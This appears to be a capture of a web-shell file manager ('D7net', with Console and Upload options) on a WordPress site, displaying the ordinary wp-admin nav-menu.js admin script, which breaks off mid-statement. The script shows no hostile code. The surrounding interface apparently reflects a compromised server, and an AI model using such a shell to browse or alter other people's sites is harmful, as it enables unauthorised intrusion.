D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
apkstacker.com
/
wp-admin
/
js
/
Filename :
nav-menu.js
back
Copy
/** * WordPress Administration Navigation Menu * Interface JS functions * * @version 2.0.0 * * @package WordPress * @subpackage Administration * @output wp-admin/js/nav-menu.js */ /* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */ (function($) { var api; /** * Contains all the functions to handle WordPress navigation menus administration. * * @namespace wpNavMenu */ api = window.wpNavMenu = { options : { menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead. globalMaxDepth: 11, sortableItems: '> *', targetTolerance: 0 }, menuList : undefined, // Set in init. targetList : undefined, // Set in init. menusChanged : false, isRTL: !! ( 'undefined' != typeof isRtl && isRtl ), negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1, lastSearch: '', // Functions that run on init. init : function() { api.menuList = $('#menu-to-edit'); api.targetList = api.menuList; this.jQueryExtensions(); this.attachMenuEditListeners(); this.attachBulkSelectButtonListeners(); this.attachMenuCheckBoxListeners(); this.attachMenuItemDeleteButton(); this.attachPendingMenuItemsListForDeletion(); this.attachQuickSearchListeners(); this.attachThemeLocationsListeners(); this.attachMenuSaveSubmitListeners(); this.attachTabsPanelListeners(); this.attachUnsavedChangesListener(); if ( api.menuList.length ) this.initSortables(); if ( menus.oneThemeLocationNoMenus ) $( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom ); this.initManageLocations(); this.initAccessibility(); this.initToggles(); this.initPreviewing(); }, jQueryExtensions : function() { // jQuery extensions. $.fn.extend({ menuItemDepth : function() { var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left'); return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 ); }, updateDepthClass : function(current, prev) { return this.each(function(){ var t = $(this); prev = prev || t.menuItemDepth(); $(this).removeClass('menu-item-depth-'+ prev ) .addClass('menu-item-depth-'+ current ); }); }, shiftDepthClass : function(change) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth + change; t.removeClass( 'menu-item-depth-'+ depth ) .addClass( 'menu-item-depth-'+ ( newDepth ) ); if ( 0 === newDepth ) { t.find( '.is-submenu' ).hide(); } }); }, childMenuItems : function() { var result = $(); this.each(function(){ var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' ); while( next.length && next.menuItemDepth() > depth ) { result = result.add( next ); next = next.next( '.menu-item' ); } }); return result; }, shiftHorizontally : function( dir ) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth + dir; // Change .menu-item-depth-n class. t.moveHorizontally( newDepth, depth ); }); }, moveHorizontally : function( newDepth, depth ) { return this.each(function(){ var t = $(this), children = t.childMenuItems(), diff = newDepth - depth, subItemText = t.find('.is-submenu'); // Change .menu-item-depth-n class. t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId(); // If it has children, move those too. if ( children ) { children.each(function() { var t = $(this), thisDepth = t.menuItemDepth(), newDepth = thisDepth + diff; t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId(); }); } // Show "Sub item" helper text. if (0 === newDepth) subItemText.hide(); else subItemText.show(); }); }, updateParentMenuItemDBId : function() { return this.each(function(){ var item = $(this), input = item.find( '.menu-item-data-parent-id' ), depth = parseInt( item.menuItemDepth(), 10 ), parentDepth = depth - 1, parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first(); if ( 0 === depth ) { // Item is on the top level, has no parent. input.val(0); } else { // Find the parent item, and retrieve its object id. input.val( parent.find( '.menu-item-data-db-id' ).val() ); } }); }, hideAdvancedMenuItemFields : function() { return this.each(function(){ var that = $(this); $('.hide-column-tog').not(':checked').each(function(){ that.find('.field-' + $(this).val() ).addClass('hidden-field'); }); }); }, /** * Adds selected menu items to the menu. * * @ignore * * @param jQuery metabox The metabox jQuery object. */ addSelectedToMenu : function(processMethod) { if ( 0 === $('#menu-to-edit').length ) { return false; } return this.each(function() { var t = $(this), menuItems = {}, checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ), re = /menu-item\[([^\]]*)/; processMethod = processMethod || api.addMenuItemToBottom; // If no items are checked, bail. if ( !checkboxes.length ) return false; // Show the Ajax spinner. t.find( '.button-controls .spinner' ).addClass( 'is-active' ); // Retrieve menu item data. $(checkboxes).each(function(){ var t = $(this), listItemDBIDMatch = re.exec( t.attr('name') ), listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10); if ( this.className && -1 != this.className.indexOf('add-to-top') ) processMethod = api.addMenuItemToTop; menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID ); }); // Add the items. api.addItemToMenu(menuItems, processMethod, function(){ // Deselect the items and hide the Ajax spinner. checkboxes.prop( 'checked', false ); t.find( '.button-controls .select-all' ).prop( 'checked', false ); t.find( '.button-controls .spinner' ).removeClass( 'is-active' ); t.updateParentDropdown(); t.updateOrderDropdown(); }); }); }, getItemData : function( itemType, id ) { itemType = itemType || 'menu-item'; var itemData = {}, i, fields = [ 'menu-item-db-id', 'menu-item-object-id', 'menu-item-object', 'menu-item-parent-id', 'menu-item-position', 'menu-item-type', 'menu-item-title', 'menu-item-url', 'menu-item-description', 'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn' ]; if( !id && itemType == 'menu-item' ) { id = this.find('.menu-item-data-db-id').val(); } if( !id ) return itemData; this.find('input').each(function() { var field; i = fields.length; while ( i-- ) { if( itemType == 'menu-item' ) field = fields[i] + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + fields[i] + ']'; if ( this.name && field == this.name ) { itemData[fields[i]] = this.value; } } }); return itemData; }, setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id. itemType = itemType || 'menu-item'; if( !id && itemType == 'menu-item' ) { id = $('.menu-item-data-db-id', this).val(); } if( !id ) return this; this.find('input').each(function() { var t = $(this), field; $.each( itemData, function( attr, val ) { if( itemType == 'menu-item' ) field = attr + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + attr + ']'; if ( field == t.attr('name') ) { t.val( val ); } }); }); return this; }, updateParentDropdown : function() { return this.each(function(){ var menuItems = $( '#menu-to-edit li' ), parentDropdowns = $( '.edit-menu-item-parent' ); $.each( parentDropdowns, function() { var parentDropdown = $( this ), currentItemID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-db-id' ).val() ), currentParentID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-parent-id' ).val() ), currentItem = parentDropdown.closest( 'li.menu-item' ), currentMenuItemChild = currentItem.childMenuItems(), excludeMenuItem = /** @type {number[]} */ [ currentItemID ]; parentDropdown.empty(); if ( currentMenuItemChild.length > 0 ) { $.each( currentMenuItemChild, function(){ var childItem = $(this), childID = parseInt( childItem.find( '.menu-item-data-db-id' ).val() ); excludeMenuItem.push( childID ); }); } parentDropdown.append( $( '<option>', { value: '0', selected: currentParentID === 0, text: wp.i18n._x( 'No Parent', 'menu item without a parent in navigation menu' ), } ) ); $.each( menuItems, function() { var menuItem = $(this), menuID = parseInt( menuItem.find( '.menu-item-data-db-id' ).val() ), menuTitle = menuItem.find( '.edit-menu-item-title' ).val(); if ( ! excludeMenuItem.includes( menuID ) ) { parentDropdown.append( $( '<option>', { value: menuID.toString(), selected: currentParentID === menuID, text: menuTitle, } ) ); } }); }); }); }, updateOrderDropdown : function() { return this.each( function() { var itemPosition, orderDropdowns = $( '.edit-menu-item-order' ); $.each( orderDropdowns, function() { var orderDropdown = $( this ), menuItem = orderDropdown.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ); orderDropdown.empty(); if ( isPrimaryMenuItem ) { var primaryItems = $( '.menu-item-depth-0' ), totalMenuItems = primaryItems.length; itemPosition = primaryItems.index( menuItem ) + 1; for ( let i = 1; i < totalMenuItems + 1; i++ ) { var itemString = wp.i18n.sprintf( /* translators: 1: The current menu item number, 2: The total number of menu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: itemString, } ) ); } } else { var parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubMenuItems = subItems.length; itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; for ( let i = 1; i < totalSubMenuItems + 1; i++ ) { var submenuString = wp.i18n.sprintf( /* translators: 1: The current submenu item number, 2: The total number of submenu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalSubMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: submenuString, } ) ); } } }); }); } }); }, countMenuItems : function( depth ) { return $( '.menu-item-depth-' + depth ).length; }, moveMenuItem : function( $this, dir ) { var items, newItemPosition, newDepth, menuItems = $( '#menu-to-edit li' ), menuItemsCount = menuItems.length, thisItem = $this.parents( 'li.menu-item' ), thisItemChildren = thisItem.childMenuItems(), thisItemData = thisItem.getItemData(), thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ), thisItemPosition = parseInt( thisItem.index(), 10 ), nextItem = thisItem.next(), nextItemChildren = nextItem.childMenuItems(), nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1, prevItem = thisItem.prev(), prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ), prevItemId = prevItem.getItemData()['menu-item-db-id'], a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ]; switch ( dir ) { case 'up': newItemPosition = thisItemPosition - 1; // Already at top. if ( 0 === thisItemPosition ) break; // If a sub item is moved to top, shift it to 0 depth. if ( 0 === newItemPosition && 0 !== thisItemDepth ) thisItem.moveHorizontally( 0, thisItemDepth ); // If prev item is sub item, shift to match depth. if ( 0 !== prevItemDepth ) thisItem.moveHorizontally( prevItemDepth, thisItemDepth ); // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } break; case 'down': // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ), nextItem = menuItems.eq( items.length + thisItemPosition ), nextItemChildren = 0 !== nextItem.childMenuItems().length; if ( nextItemChildren ) { newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1; thisItem.moveHorizontally( newDepth, thisItemDepth ); } // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + items.length ) break; items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId(); } else { // If next item has sub items, shift depth. if ( 0 !== nextItemChildren.length ) thisItem.moveHorizontally( nextItemDepth, thisItemDepth ); // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + 1 ) break; thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId(); } break; case 'top': // Already at top. if ( 0 === thisItemPosition ) break; // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } break; case 'left': // As far left as possible. if ( 0 === thisItemDepth ) break; thisItem.shiftHorizontally( -1 ); break; case 'right': // Can't be sub item at top. if ( 0 === thisItemPosition ) break; // Already sub item of prevItem. if ( thisItemData['menu-item-parent-id'] === prevItemId ) break; thisItem.shiftHorizontally( 1 ); break; } $this.trigger( 'focus' ); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); thisItem.updateParentDropdown(); thisItem.updateOrderDropdown(); if ( a11ySpeech ) { wp.a11y.speak( a11ySpeech ); } }, initAccessibility : function() { var menu = $( '#menu-to-edit' ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){ api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'a.item-edit', function() { api.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); // Links for moving items. menu.on( 'click', '.menus-move', function () { var $this = $( this ), dir = $this.data( 'dir' ); if ( 'undefined' !== typeof dir ) { api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir ); } }); // Set menu parents data for all menu items. menu.updateParentDropdown(); // Set menu order data for all menu items. menu.updateOrderDropdown(); // Update menu item parent when value is changed. menu.on( 'change', '.edit-menu-item-parent', function() { api.changeMenuParent( $( this ) ); }); // Update menu item order when value is changed. menu.on( 'change', '.edit-menu-item-order', function() { api.changeMenuOrder( $( this ) ); }); }, /** * changeMenuParent( [parentDropdown] ) * * @since 6.7.0 * * @param {object} parentDropdown select field */ changeMenuParent : function( parentDropdown ) { var menuItemNewPosition, menuItems = $( '#menu-to-edit li' ), $this = $( parentDropdown ), newParentID = $this.val(), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemOldDepth = menuItem.menuItemDepth(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = parseInt( menuItem.childMenuItems().length, 10 ), parentItem = $( '#menu-item-' + newParentID ), parentItemDepth = parentItem.menuItemDepth(), menuItemNewDepth = parseInt( parentItemDepth ) + 1; if ( newParentID == 0 ) { menuItemNewDepth = 0; } menuItem.find( '.menu-item-data-parent-id' ).val( newParentID ); menuItem.moveHorizontally( menuItemNewDepth, menuItemOldDepth ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } menuItem.detach(); menuItems = $( '#menu-to-edit li' ); var parentItemPosition = parseInt( parentItem.index(), 10 ), parentItemNoChild = parseInt( parentItem.childMenuItems().length, 10 ); if ( parentItemNoChild > 0 ){ menuItemNewPosition = parentItemPosition + parentItemNoChild; } else { menuItemNewPosition = parentItemPosition; } if ( newParentID == 0 ) { menuItemNewPosition = menuItems.length - 1; } menuItem.insertAfter( menuItems.eq( menuItemNewPosition ) ).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.parentUpdated, 'polite' ); }, /** * changeMenuOrder( [OrderDropdown] ) * * @since 6.7.0 * * @param {object} orderDropdown select field */ changeMenuOrder : function( orderDropdown ) { var menuItems = $( '#menu-to-edit li' ), $this = $( orderDropdown ), newOrderID = parseInt( $this.val(), 10), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = menuItemChildren.length, menuItemCurrentPosition = parseInt( menuItem.index(), 10 ), parentItemID = menuItem.find( '.menu-item-data-parent-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemID + '"]' ), currentItemAtPosition = $(subItems[newOrderID - 1]).closest( 'li.menu-item' ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } var currentItemNoChildren = currentItemAtPosition.childMenuItems().length, currentItemPosition = parseInt( currentItemAtPosition.index(), 10 ); menuItems = $( '#menu-to-edit li' ); var menuItemNewPosition = currentItemPosition; if(menuItemCurrentPosition > menuItemNewPosition){ menuItemNewPosition = currentItemPosition; menuItem.detach().insertBefore( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } else { menuItemNewPosition = menuItemNewPosition + currentItemNoChildren; menuItem.detach().insertAfter( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.orderUpdated, 'polite' ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed */ refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var thisLink, thisLinkText, primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-controls' ).find( '.item-type' ).text(), position = parseInt( menuItem.index(), 10 ), prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ), prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(), prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(), totalMenuItems = $('#menu-to-edit li').length, hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length; menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 ); // Where can they move this menu item? if ( 0 !== position ) { thisLink = menuItem.find( '.menus-move-up' ); thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' ); } if ( 0 !== position && isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-top' ); thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' ); } if ( position + 1 !== totalMenuItems && 0 !== position ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( 0 === position && 0 !== hasSameDepthSibling ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( ! isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-left' ), thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft ); thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' ); } if ( 0 !== position ) { if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) { thisLink = menuItem.find( '.menus-move-right' ), thisLinkText = menus.under.replace( '%s', prevItemNameRight ); thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' ); } } if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.attr( 'aria-label', title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * refreshAdvancedAccessibility * * Hides all advanced accessibility buttons and marks them for refreshing. */ refreshAdvancedAccessibility : function() { // Hide all the move buttons by default. $( '.menu-item-settings .field-move .menus-move' ).hide(); // Mark all menu items as unprocessed. $( 'a.item-edit' ).data( 'needs_accessibility_refresh', true ); // All open items have to be refreshed or they will show no links. $( '.menu-item-edit-active a.item-edit' ).each( function() { api.refreshAdvancedAccessibilityOfItem( this ); } ); }, refreshKeyboardAccessibility : function() { $( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){ $(this).off( 'keydown' ).on( 'keydown', function(e){ var arrows, $this = $( this ), thisItem = $this.parents( 'li.menu-item' ), thisItemData = thisItem.getItemData(); // Bail if it's not an arrow key. if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which ) return; // Avoid multiple keydown events. $this.off('keydown'); // Bail if there is only one menu item. if ( 1 === $('#menu-to-edit li').length ) return; // If RTL, swap left/right arrows. arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' }; if ( $('body').hasClass('rtl') ) arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' }; switch ( arrows[e.which] ) { case 'up': api.moveMenuItem( $this, 'up' ); break; case 'down': api.moveMenuItem( $this, 'down' ); break; case 'left': api.moveMenuItem( $this, 'left' ); break; case 'right': api.moveMenuItem( $this, 'right' ); break; } // Put focus back on same menu item. $( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' ); return false; }); }); }, initPreviewing : function() { // Update the item handle title when the navigation label is changed. $( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) { var input = $( e.currentTarget ), title, titleEl; title = input.val(); titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' ); // Don't update to empty title. if ( title ) { titleEl.text( title ).removeClass( 'no-title' ); } else { titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' ); } } ); }, initToggles : function() { // Init postboxes. postboxes.add_postbox_toggles('nav-menus'); // Adjust columns functions for menus UI. columns.useCheckboxesForHidden(); columns.checked = function(field) { $('.field-' + field).removeClass('hidden-field'); }; columns.unchecked = function(field) { $('.field-' + field).addClass('hidden-field'); }; // Hide fields. api.menuList.hideAdvancedMenuItemFields(); $('.hide-postbox-tog').on( 'click', function () { var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(','); $.post(ajaxurl, { action: 'closed-postboxes', hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: 'nav-menus' }); }); }, initSortables : function() { var currentDepth = 0, originalDepth, minDepth, maxDepth, prev, next, prevBottom, nextThreshold, helperHeight, transport, menuEdge = api.menuList.offset().left, body = $('body'), maxChildDepth, menuMaxDepth = initialMenuMaxDepth(); if( 0 !== $( '#menu-to-edit li' ).length ) $( '.drag-instructions' ).show(); // Use the right edge if RTL. menuEdge += api.isRTL ? api.menuList.width() : 0; api.menuList.sortable({ handle: '.menu-item-handle', placeholder: 'sortable-placeholder', items: api.options.sortableItems, start: function(e, ui) { var height, width, parent, children, tempHolder; // Handle placement for RTL orientation. if ( api.isRTL ) ui.item[0].style.right = 'auto'; transport = ui.item.children('.menu-item-transport'); // Set depths. currentDepth must be set before children are located. originalDepth = ui.item.menuItemDepth(); updateCurrentDepth(ui, originalDepth); // Attach child elements to parent. // Skip the placeholder. parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item; children = parent.childMenuItems(); transport.append( children ); // Update the height of the placeholder to match the moving item. height = transport.outerHeight(); // If there are children, account for distance between top of children and parent. height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0; height += ui.helper.outerHeight(); helperHeight = height; height -= 2; // Subtract 2 for borders. ui.placeholder.height(height); // Update the width of the placeholder to match the moving item. maxChildDepth = originalDepth; children.each(function(){ var depth = $(this).menuItemDepth(); maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth; }); width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width. width += api.depthToPx(maxChildDepth - originalDepth); // Account for children. width -= 2; // Subtract 2 for borders. ui.placeholder.width(width); // Update the list of menu items. tempHolder = ui.placeholder.next( '.menu-item' ); tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder. ui.placeholder.detach(); // Detach or jQuery UI will think the placeholder is a menu item. $(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQuery UI know. ui.item.after( ui.placeholder ); // Reattach the placeholder. tempHolder.css('margin-top', 0); // Reset the margin. // Now that the element is complete, we can update... updateSharedVars(ui); }, stop: function(e, ui) { var children, subMenuTitle, depthChange = currentDepth - originalDepth; // Return child elements to the list. children = transport.children().insertAfter(ui.item); // Add "sub menu" description. subMenuTitle = ui.item.find( '.item-title .is-submenu' ); if ( 0 < currentDepth ) subMenuTitle.show(); else subMenuTitle.hide(); // Update depth classes. if ( 0 !== depthChange ) { ui.item.updateDepthClass( currentDepth ); children.shiftDepthClass( depthChange ); updateMenuMaxDepth( depthChange ); } // Register a change. api.registerChange(); // Update the item data. ui.item.updateParentMenuItemDBId(); // Address sortable's incorrectly-calculated top in Opera. ui.item[0].style.top = 0; // Handle drop placement for rtl orientation. if ( api.isRTL ) { ui.item[0].style.left = 'auto'; ui.item[0].style.right = 0; } api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); ui.item.updateParentDropdown(); ui.item.updateOrderDropdown(); api.refreshAdvancedAccessibilityOfItem( ui.item.find( 'a.item-edit' ) ); }, change: function(e, ui) { // Make sure the placeholder is inside the menu. // Otherwise fix it, or we're in trouble. if( ! ui.placeholder.parent().hasClass('menu') ) (prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder ); updateSharedVars(ui); }, sort: function(e, ui) { var offset = ui.helper.offset(), edge = api.isRTL ? offset.left + ui.helper.width() : offset.left, depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge ); /* * Check and correct if depth is not within range. * Also, if the dragged element is dragged upwards over an item, * shift the placeholder to a child position. */ if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) { depth = maxDepth; } else if ( depth < minDepth ) { depth = minDepth; } if( depth != currentDepth ) updateCurrentDepth(ui, depth); // If we overlap the next element, manually shift downwards. if( nextThreshold && offset.top + helperHeight > nextThreshold ) { next.after( ui.placeholder ); updateSharedVars( ui ); $( this ).sortable( 'refreshPositions' ); } } }); function updateSharedVars(ui) { var depth; prev = ui.placeholder.prev( '.menu-item' ); next = ui.placeholder.next( '.menu-item' ); // Make sure we don't select the moving item. if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' ); if( next[0] == ui.item[0] ) next = next.next( '.menu-item' ); prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0; nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0; minDepth = (next.length) ? next.menuItemDepth() : 0; if( prev.length ) maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth; else maxDepth = 0; } function updateCurrentDepth(ui, depth) { ui.placeholder.updateDepthClass( depth, currentDepth ); currentDepth = depth; } function initialMenuMaxDepth() { if( ! body[0].className ) return 0; var match = body[0].className.match(/menu-max-depth-(\d+)/); return match && match[1] ? parseInt( match[1], 10 ) : 0; } function updateMenuMaxDepth( depthChange ) { var depth, newDepth = menuMaxDepth; if ( depthChange === 0 ) { return; } else if ( depthChange > 0 ) { depth = maxChildDepth + depthChange; if( depth > menuMaxDepth ) newDepth = depth; } else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) { while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 ) newDepth--; } // Update the depth class. body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth ); menuMaxDepth = newDepth; } }, initManageLocations : function () { $('#menu-locations-wrap form').on( 'submit', function(){ window.onbeforeunload = null; }); $('.menu-location-menus select').on('change', function () { var editLink = $(this).closest('tr').find('.locations-edit-menu-link'); if ($(this).find('option:selected').data('orig')) editLink.show(); else editLink.hide(); }); }, attachMenuEditListeners : function() { var that = this; $('#update-nav-menu').on('click', function(e) { if ( e.target && e.target.className ) { if ( -1 != e.target.className.indexOf('item-edit') ) { return that.eventOnClickEditLink(e.target); } else if ( -1 != e.target.className.indexOf('menu-save') ) { return that.eventOnClickMenuSave(e.target); } else if ( -1 != e.target.className.indexOf('menu-delete') ) { return that.eventOnClickMenuDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-delete') ) { return that.eventOnClickMenuItemDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-cancel') ) { return that.eventOnClickCancelLink(e.target); } } }); $( '#menu-name' ).on( 'input', _.debounce( function () { var menuName = $( document.getElementById( 'menu-name' ) ), menuNameVal = menuName.val(); if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { // Add warning for invalid menu name. menuName.parent().addClass( 'form-invalid' ); } else { // Remove warning for valid menu name. menuName.parent().removeClass( 'form-invalid' ); } }, 500 ) ); $('#add-custom-links input[type="text"]').on( 'keypress', function(e){ $( '#customlinkdiv' ).removeClass( 